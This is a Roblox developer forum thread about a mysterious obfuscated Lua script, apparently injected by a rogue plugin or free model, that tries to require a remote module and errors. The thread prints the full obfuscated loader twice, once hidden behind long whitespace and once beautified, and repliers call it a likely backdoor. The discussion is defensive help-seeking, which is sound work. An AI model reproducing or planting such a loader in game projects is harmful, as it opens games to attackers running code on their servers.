Mysterious Script in my Game :O

I wonder why is this Mysterious Script in my Game :/
So theres a mysterious script in my game the code in it is

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return(function(lo_h,lo_a,lo_a)local lo_j=string.char;local lo_e=string.sub;local lo_o=table.concat;local lo_n=math.ldexp;local lo_m=getfenv or function()return _ENV end;local lo_k=select;local lo_a=unpack or table.unpack;local lo_l=tonumber;local function lo_p(lo_h)local lo_b,lo_c,lo_d="","",{}local lo_g=256;local lo_f={}for lo_a=0,lo_g-1 do lo_f[lo_a]=lo_j(lo_a)end;local lo_a=1;local function lo_i()local lo_b=lo_l(lo_e(lo_h,lo_a,lo_a),36)lo_a=lo_a+1;local lo_c=lo_l(lo_e(lo_h,lo_a,lo_a+lo_b-1),36)lo_a=lo_a+lo_b;return lo_c end;lo_b=lo_j(lo_i())lo_d[1]=lo_b;while lo_a<#lo_h do local lo_a=lo_i()if lo_f[lo_a]then lo_c=lo_f[lo_a]else lo_c=lo_b..lo_e(lo_b,1,1)end;lo_f[lo_g]=lo_b..lo_e(lo_c,1,1)lo_d[#lo_d+1],lo_b,lo_g=lo_c,lo_c,lo_g+1 end;return table.concat(lo_d)end;local lo_i=lo_p('121627514112751623822R23B23723327B141327923A23823322W23627927923224A21Y27925I23L23G1D26T21Z27P1B2791K172792852752841628514279101527927I285285121C28G28A1628K2791F28N289275287161K1D28N28F28M27628N28P2751A28S28V28V28X29327P27I29228728R28U27P');local lo_a=(bit or bit32);local lo_d=lo_a and lo_a.bxor or function(lo_a,lo_c)local lo_b,lo_d,lo_e=1,0,10 while lo_a>0 and lo_c>0 do local lo_e,lo_f=lo_a%2,lo_c%2 if lo_e~=lo_f then lo_d=lo_d+lo_b end lo_a,lo_c,lo_b=(lo_a-lo_e)/2,(lo_c-lo_f)/2,lo_b*2 end if lo_a<lo_c then lo_a=lo_c end while lo_a>0 do local lo_c=lo_a%2 if lo_c>0 then lo_d=lo_d+lo_b end lo_a,lo_b=(lo_a-lo_c)/2,lo_b*2 end return lo_d end local function lo_c(lo_b,lo_a,lo_c)if lo_c then local lo_a=(lo_b/2^(lo_a-1))%2^((lo_c-1)-(lo_a-1)+1);return lo_a-lo_a%1;else local lo_a=2^(lo_a-1);return(lo_b%(lo_a+lo_a)>=lo_a)and 1 or 0;end;end;local lo_a=1;local function lo_b()local lo_f,lo_e,lo_c,lo_b=lo_h(lo_i,lo_a,lo_a+3);lo_f=lo_d(lo_f,6)lo_e=lo_d(lo_e,6)lo_c=lo_d(lo_c,6)lo_b=lo_d(lo_b,6)lo_a=lo_a+4;return(lo_b*16777216)+(lo_c*65536)+(lo_e*256)+lo_f;end;local function lo_g()local lo_b=lo_d(lo_h(lo_i,lo_a,lo_a),6);lo_a=lo_a+1;return lo_b;end;local function lo_f()local lo_b,lo_c=lo_h(lo_i,lo_a,lo_a+2);lo_b=lo_d(lo_b,6)lo_c=lo_d(lo_c,6)lo_a=lo_a+2;return(lo_c*256)+lo_b;end;local function lo_l()local lo_a=lo_b();local lo_b=lo_b();local lo_e=1;local lo_d=(lo_c(lo_b,1,20)*(2^32))+lo_a;local lo_a=lo_c(lo_b,21,31);local lo_b=((-1)^lo_c(lo_b,32));if(lo_a==0)then if(lo_d==0)then return lo_b*0;else lo_a=1;lo_e=0;end;elseif(lo_a==2047)then return(lo_d==0)and(lo_b*(1/0))or(lo_b*(0/0));end;return lo_n(lo_b,lo_a-1023)*(lo_e+(lo_d/(2^52)));end;local lo_n=lo_b;local function lo_p(lo_b)local lo_c;if(not lo_b)then lo_b=lo_n();if(lo_b==0)then return'';end;end;lo_c=lo_e(lo_i,lo_a,lo_a+lo_b-1);lo_a=lo_a+lo_b;local lo_b={}for lo_a=1,#lo_c do lo_b[lo_a]=lo_j(lo_d(lo_h(lo_e(lo_c,lo_a,lo_a)),6))end return lo_o(lo_b);end;local lo_a=lo_b;local function lo_n(...)return{...},lo_k('#',...)end local function lo_j()local lo_i={};local lo_e={};local lo_a={};local lo_h={[#{{953;707;757;689};"1 + 1 = 111";}]=lo_e,[#{"1 + 1 = 111";"1 + 1 = 111";"1 + 1 = 111";}]=nil,[#{{458;14;430;230};{570;964;232;128};"1 + 1 = 111";"1 + 1 = 111";}]=lo_a,[#{"1 + 1 = 111";}]=lo_i,};local lo_a=lo_b()local lo_d={}for lo_c=1,lo_a do local lo_b=lo_g();local lo_a;if(lo_b==3)then lo_a=(lo_g()~=0);elseif(lo_b==0)then lo_a=lo_l();elseif(lo_b==2)then lo_a=lo_p();end;lo_d[lo_c]=lo_a;end;for lo_a=1,lo_b()do lo_e[lo_a-1]=lo_j();end;for lo_h=1,lo_b()do local lo_a=lo_g();if(lo_c(lo_a,1,1)==0)then local lo_e=lo_c(lo_a,2,3);local lo_g=lo_c(lo_a,4,6);local lo_a={lo_f(),lo_f(),nil,nil};if(lo_e==0)then lo_a[3]=lo_f();lo_a[4]=lo_f();elseif(lo_e==1)then lo_a[3]=lo_b();elseif(lo_e==2)then lo_a[3]=lo_b()-(2^16)elseif(lo_e==3)then lo_a[3]=lo_b()-(2^16)lo_a[4]=lo_f();end;if(lo_c(lo_g,1,1)==1)then lo_a[2]=lo_d[lo_a[2]]end if(lo_c(lo_g,2,2)==1)then lo_a[3]=lo_d[lo_a[3]]end if(lo_c(lo_g,3,3)==1)then lo_a[4]=lo_d[lo_a[4]]end lo_i[lo_h]=lo_a;end end;lo_h[3]=lo_g();return lo_h;end;local function lo_l(lo_a,lo_b,lo_g)lo_a=(lo_a==true and lo_j())or lo_a;return(function(...)local lo_h=lo_a[1];local lo_c=lo_a[3];local lo_a=lo_a[2];local lo_a=lo_n local lo_d=1;local lo_a=-1;local lo_i={};local lo_f={...};local lo_e=lo_k('#',...)-1;local lo_a={};local lo_b={};for lo_a=0,lo_e do if(lo_a>=lo_c)then lo_i[lo_a-lo_c]=lo_f[lo_a+1];else lo_b[lo_a]=lo_f[lo_a+#{{282;51;875;941};}];end;end;local lo_a=lo_e-lo_c+1 local lo_a;local lo_c;while true do lo_a=lo_h[lo_d];lo_c=lo_a[1];if lo_c<=5 then if lo_c<=2 then if lo_c<=0 then lo_b[lo_a[2]]=lo_g[lo_a[3]];elseif lo_c==1 then lo_b[lo_a[2]]=lo_g[lo_a[3]];else lo_b[lo_a[2]]=lo_a[3];end;elseif lo_c<=3 then if(lo_b[lo_a[2]]~=lo_b[lo_a[4]])then lo_d=lo_d+1;else lo_d=lo_a[3];end;elseif lo_c==4 then do return end;else local lo_a=lo_a[2]lo_b[lo_a](lo_b[lo_a+1])end;elseif lo_c<=8 then if lo_c<=6 then if(lo_b[lo_a[2]]~=lo_b[lo_a[4]])then lo_d=lo_d+1;else lo_d=lo_a[3];end;elseif lo_c==7 then lo_d=lo_a[3];else local lo_a=lo_a[2]lo_b[lo_a](lo_b[lo_a+1])end;elseif lo_c<=9 then do return end;elseif lo_c>10 then lo_b[lo_a[2]]=lo_a[3];else lo_d=lo_a[3];end;lo_d=lo_d+1;end;end);end;return lo_l(true,{},lo_m())();end)(string.byte,table.insert,setmetatable);

and it just errors

Downloading asset failed for asset id 5112309884.  Is the asset id correct and is the asset type "Model"?

idk why is it in my game :O
it just does nothing exept error :| i think maybe it only does something in a live server D:
i disabled it
also the script is inside a free model but when i inserted the free model again its not in it
I think its a plugin but i havnt seen it before and i havent installed much plugins recently i dont see anyone talk about it on devforum

7 Likes

is that a question?

2 Likes

That appears to be a virus, and according to the error, its trying to download a Module into your game:

2 Likes

atleast it errored and failed :D
but it might be cuz its in studio and maybe it will only work in live server

1 Like

you should probably remove it lol

i do commissions, and the same error happens to one of my main customers. everytime you exit test mode, it adds a script to the workspace. and it gives the same error out, i cannot delete for some reason, and whenever you stop the game, it always gives that “roblox studio isnt responding”, only whenever the script is live.

btw it requires a module.

2 Likes

It’s either an unsafe free model or a rogue plugin you may have. Try checking your plugins to see if there’s any one that has script injection allowed, and if it looks suspicious, remove it. If it’s a model remove it from your game immediately as it may be a backdoor.

I checked the asset’s url and it seems it was removed from Roblox, which is why the loading failed. Still remove the model or any suspicious plugins just to be safe.

Delete it, it might be a backdoor granting exploiters server-side code execution access.
Make sure to double-check the models and the plugins you’re going to install in the future.

Check all of your installed plugins, and make sure they come from legitimate sources.

1 Like

i have like 5 installed plugins, i dont know about my customer. he is a bit of a shady dude. but i dont think its me, cause the rest of my games dont get this virus.

1 Like

Then check all of the scripts inside your game, it might be a hidden script that’s doing all of that.

most of the scripts are by me, cause im his scripter. ill see. i can show you a screenshot is probably in there right now

image

image

update: it only happens when my customer gets in the studio, its one of his plugins

Only scripts that run in plugins can create other scripts. (loadstring() is another thing)

i don’t get it. you can change the script text. really weird

Then tell them to check their plugins, that’s a malicious script probably loading a module that grants exploiters access to the server.

1 Like

thanks, ill go ahead and talk to him. hope there is something we can change, cause whenever the game binds to close, the script runs a bunch of while loops.

2 Likes

Likely a backdoor script in the game, very obfuscated though so there isn’t much we can extract

return (function(lo_h, lo_a, lo_a)
    local lo_j = string.char
    local lo_e = string.sub
    local lo_o = table.concat
    local lo_n = math.ldexp
    local lo_m = getfenv or function()
            return _ENV
        end
    local lo_k = select
    local lo_a = unpack or table.unpack
    local lo_l = tonumber
    local function lo_p(lo_h)
        local lo_b, lo_c, lo_d = "", "", {}
        local lo_g = 256
        local lo_f = {}
        for lo_a = 0, lo_g - 1 do
            lo_f[lo_a] = lo_j(lo_a)
        end
        local lo_a = 1
        local function lo_i()
            local lo_b = lo_l(lo_e(lo_h, lo_a, lo_a), 36)
            lo_a = lo_a + 1
            local lo_c = lo_l(lo_e(lo_h, lo_a, lo_a + lo_b - 1), 36)
            lo_a = lo_a + lo_b
            return lo_c
        end
        lo_b = lo_j(lo_i())
        lo_d[1] = lo_b
        while lo_a < #lo_h do
            local lo_a = lo_i()
            if lo_f[lo_a] then
                lo_c = lo_f[lo_a]
            else
                lo_c = lo_b .. lo_e(lo_b, 1, 1)
            end
            lo_f[lo_g] = lo_b .. lo_e(lo_c, 1, 1)
            lo_d[#lo_d + 1], lo_b, lo_g = lo_c, lo_c, lo_g + 1
        end
        return table.concat(lo_d)
    end
    local lo_i =
        lo_p(
        "121627514112751623822R23B23723327B141327923A23823322W23627927923224A21Y27925I23L23G1D26T21Z27P1B2791K172792852752841628514279101527927I285285121C28G28A1628K2791F28N289275287161K1D28N28F28M27628N28P2751A28S28V28V28X29327P27I29228728R28U27P"
    )
    local lo_a = (bit or bit32)
    local lo_d = lo_a and lo_a.bxor or function(lo_a, lo_c)
            local lo_b, lo_d, lo_e = 1, 0, 10
            while lo_a > 0 and lo_c > 0 do
                local lo_e, lo_f = lo_a % 2, lo_c % 2
                if lo_e ~= lo_f then
                    lo_d = lo_d + lo_b
                end
                lo_a, lo_c, lo_b = (lo_a - lo_e) / 2, (lo_c - lo_f) / 2, lo_b * 2
            end
            if lo_a < lo_c then
                lo_a = lo_c
            end
            while lo_a > 0 do
                local lo_c = lo_a % 2
                if lo_c > 0 then
                    lo_d = lo_d + lo_b
                end
                lo_a, lo_b = (lo_a - lo_c) / 2, lo_b * 2
            end
            return lo_d
        end
    local function lo_c(lo_b, lo_a, lo_c)
        if lo_c then
            local lo_a = (lo_b / 2 ^ (lo_a - 1)) % 2 ^ ((lo_c - 1) - (lo_a - 1) + 1)
            return lo_a - lo_a % 1
        else
            local lo_a = 2 ^ (lo_a - 1)
            return (lo_b % (lo_a + lo_a) >= lo_a) and 1 or 0
        end
    end
    local lo_a = 1
    local function lo_b()
        local lo_f, lo_e, lo_c, lo_b = lo_h(lo_i, lo_a, lo_a + 3)
        lo_f = lo_d(lo_f, 6)
        lo_e = lo_d(lo_e, 6)
        lo_c = lo_d(lo_c, 6)
        lo_b = lo_d(lo_b, 6)
        lo_a = lo_a + 4
        return (lo_b * 16777216) + (lo_c * 65536) + (lo_e * 256) + lo_f
    end
    local function lo_g()
        local lo_b = lo_d(lo_h(lo_i, lo_a, lo_a), 6)
        lo_a = lo_a + 1
        return lo_b
    end
    local function lo_f()
        local lo_b, lo_c = lo_h(lo_i, lo_a, lo_a + 2)
        lo_b = lo_d(lo_b, 6)
        lo_c = lo_d(lo_c, 6)
        lo_a = lo_a + 2
        return (lo_c * 256) + lo_b
    end
    local function lo_l()
        local lo_a = lo_b()
        local lo_b = lo_b()
        local lo_e = 1
        local lo_d = (lo_c(lo_b, 1, 20) * (2 ^ 32)) + lo_a
        local lo_a = lo_c(lo_b, 21, 31)
        local lo_b = ((-1) ^ lo_c(lo_b, 32))
        if (lo_a == 0) then
            if (lo_d == 0) then
                return lo_b * 0
            else
                lo_a = 1
                lo_e = 0
            end
        elseif (lo_a == 2047) then
            return (lo_d == 0) and (lo_b * (1 / 0)) or (lo_b * (0 / 0))
        end
        return lo_n(lo_b, lo_a - 1023) * (lo_e + (lo_d / (2 ^ 52)))
    end
    local lo_n = lo_b
    local function lo_p(lo_b)
        local lo_c
        if (not lo_b) then
            lo_b = lo_n()
            if (lo_b == 0) then
                return ""
            end
        end
        lo_c = lo_e(lo_i, lo_a, lo_a + lo_b - 1)
        lo_a = lo_a + lo_b
        local lo_b = {}
        for lo_a = 1, #lo_c do
            lo_b[lo_a] = lo_j(lo_d(lo_h(lo_e(lo_c, lo_a, lo_a)), 6))
        end
        return lo_o(lo_b)
    end
    local lo_a = lo_b
    local function lo_n(...)
        return {...}, lo_k("#", ...)
    end
    local function lo_j()
        local lo_i = {}
        local lo_e = {}
        local lo_a = {}
        local lo_h = {
            [#{{953, 707, 757, 689}, "1 + 1 = 111"}] = lo_e,
            [#{"1 + 1 = 111", "1 + 1 = 111", "1 + 1 = 111"}] = nil,
            [#{{458, 14, 430, 230}, {570, 964, 232, 128}, "1 + 1 = 111", "1 + 1 = 111"}] = lo_a,
            [#{"1 + 1 = 111"}] = lo_i
        }
        local lo_a = lo_b()
        local lo_d = {}
        for lo_c = 1, lo_a do
            local lo_b = lo_g()
            local lo_a
            if (lo_b == 3) then
                lo_a = (lo_g() ~= 0)
            elseif (lo_b == 0) then
                lo_a = lo_l()
            elseif (lo_b == 2) then
                lo_a = lo_p()
            end
            lo_d[lo_c] = lo_a
        end
        for lo_a = 1, lo_b() do
            lo_e[lo_a - 1] = lo_j()
        end
        for lo_h = 1, lo_b() do
            local lo_a = lo_g()
            if (lo_c(lo_a, 1, 1) == 0) then
                local lo_e = lo_c(lo_a, 2, 3)
                local lo_g = lo_c(lo_a, 4, 6)
                local lo_a = {lo_f(), lo_f(), nil, nil}
                if (lo_e == 0) then
                    lo_a[3] = lo_f()
                    lo_a[4] = lo_f()
                elseif (lo_e == 1) then
                    lo_a[3] = lo_b()
                elseif (lo_e == 2) then
                    lo_a[3] = lo_b() - (2 ^ 16)
                elseif (lo_e == 3) then
                    lo_a[3] = lo_b() - (2 ^ 16)
                    lo_a[4] = lo_f()
                end
                if (lo_c(lo_g, 1, 1) == 1) then
                    lo_a[2] = lo_d[lo_a[2]]
                end
                if (lo_c(lo_g, 2, 2) == 1) then
                    lo_a[3] = lo_d[lo_a[3]]
                end
                if (lo_c(lo_g, 3, 3) == 1) then
                    lo_a[4] = lo_d[lo_a[4]]
                end
                lo_i[lo_h] = lo_a
            end
        end
        lo_h[3] = lo_g()
        return lo_h
    end
    local function lo_l(lo_a, lo_b, lo_g)
        lo_a = (lo_a == true and lo_j()) or lo_a
        return (function(...)
            local lo_h = lo_a[1]
            local lo_c = lo_a[3]
            local lo_a = lo_a[2]
            local lo_a = lo_n
            local lo_d = 1
            local lo_a = -1
            local lo_i = {}
            local lo_f = {...}
            local lo_e = lo_k("#", ...) - 1
            local lo_a = {}
            local lo_b = {}
            for lo_a = 0, lo_e do
                if (lo_a >= lo_c) then
                    lo_i[lo_a - lo_c] = lo_f[lo_a + 1]
                else
                    lo_b[lo_a] = lo_f[lo_a + #{{282, 51, 875, 941}}]
                end
            end
            local lo_a = lo_e - lo_c + 1
            local lo_a
            local lo_c
            while true do
                lo_a = lo_h[lo_d]
                lo_c = lo_a[1]
                if lo_c <= 5 then
                    if lo_c <= 2 then
                        if lo_c <= 0 then
                            lo_b[lo_a[2]] = lo_g[lo_a[3]]
                        elseif lo_c == 1 then
                            lo_b[lo_a[2]] = lo_g[lo_a[3]]
                        else
                            lo_b[lo_a[2]] = lo_a[3]
                        end
                    elseif lo_c <= 3 then
                        if (lo_b[lo_a[2]] ~= lo_b[lo_a[4]]) then
                            lo_d = lo_d + 1
                        else
                            lo_d = lo_a[3]
                        end
                    elseif lo_c == 4 then
                        do
                            return
                        end
                    else
                        local lo_a = lo_a[2]
                        lo_b[lo_a](lo_b[lo_a + 1])
                    end
                elseif lo_c <= 8 then
                    if lo_c <= 6 then
                        if (lo_b[lo_a[2]] ~= lo_b[lo_a[4]]) then
                            lo_d = lo_d + 1
                        else
                            lo_d = lo_a[3]
                        end
                    elseif lo_c == 7 then
                        lo_d = lo_a[3]
                    else
                        local lo_a = lo_a[2]
                        lo_b[lo_a](lo_b[lo_a + 1])
                    end
                elseif lo_c <= 9 then
                    do
                        return
                    end
                elseif lo_c > 10 then
                    lo_b[lo_a[2]] = lo_a[3]
                else
                    lo_d = lo_a[3]
                end
                lo_d = lo_d + 1
            end
        end)
    end
    return lo_l(true, {}, lo_m())()
end)(string.byte, table.insert, setmetatable)

I just tried requiring the same asset and it failed.


Also they definitely have a rogue plugin, I can tell some ChatService thing is not supposed to be in workspace

thats what the script does? thats a lot of variables

1 Like

same error i get whenever i start the game, it even happens on the roblox client. which is REALLY weird

1 Like